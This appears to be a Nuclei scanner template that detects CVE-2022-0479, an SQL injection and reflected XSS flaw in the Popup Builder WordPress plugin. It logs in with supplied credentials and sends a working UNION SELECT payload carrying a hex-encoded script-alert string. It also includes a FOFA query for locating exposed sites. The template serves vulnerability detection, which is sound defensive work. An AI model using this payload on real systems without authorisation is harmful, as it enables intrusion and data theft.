id: CVE-2022-0479 info: name: Popup Builder Plugin - SQL Injection and Cross-Site Scripting author: ritikchaddha severity: critical description: | The Popup Builder WordPress plugin before 4.1.1 is vulnerable to SQL Injection and Reflected XSS via the sgpb-subscription-popup-id parameter. impact: | Allows attackers to execute malicious SQL queries and inject scripts into web pages remediation: | Update Popup Builder Plugin to the latest secure version classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-0479 cwe-id: CWE-89 epss-score: 0.76374 epss-percentile: 0.9896 cpe: cpe:2.3:a:sygnoos:popup_builder:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 3 vendor: sygnoos product: popup_builder framework: wordpress fofa-query: body="/wp-content/plugins/popup-builder" tags: cve,cve2022,wp,wp-plugin,wordpress,popup-builder,xss,sqli,authenticated,vuln flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} host-redirects: true matchers: - type: dsl dsl: - 'contains(tolower(body), "/wp-content/plugins/popup-builder")' internal: true - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/edit.php?post_type=popupbuilder&page=sgpbSubscribers&sgpb-subscription-popup-id=0%29+union+all++select+1%2C0x3c696d6720737263206f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e%2C3%2C4%2C5%2C6+--+g HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - "" - type: word part: header words: - text/html - type: status status: - 200 # digest: 4b0a0048304602210080f29e6e4fb26a077d61d6f5aef6cb0a5f23ab69ddb8a0a6cdf84aa96eeb76f0022100f45745f1157feecc25b9d3012f4179a00b8061d6a429cb803cd68c4c00bc91c1:922c64590222798bb761d5b6d8e72950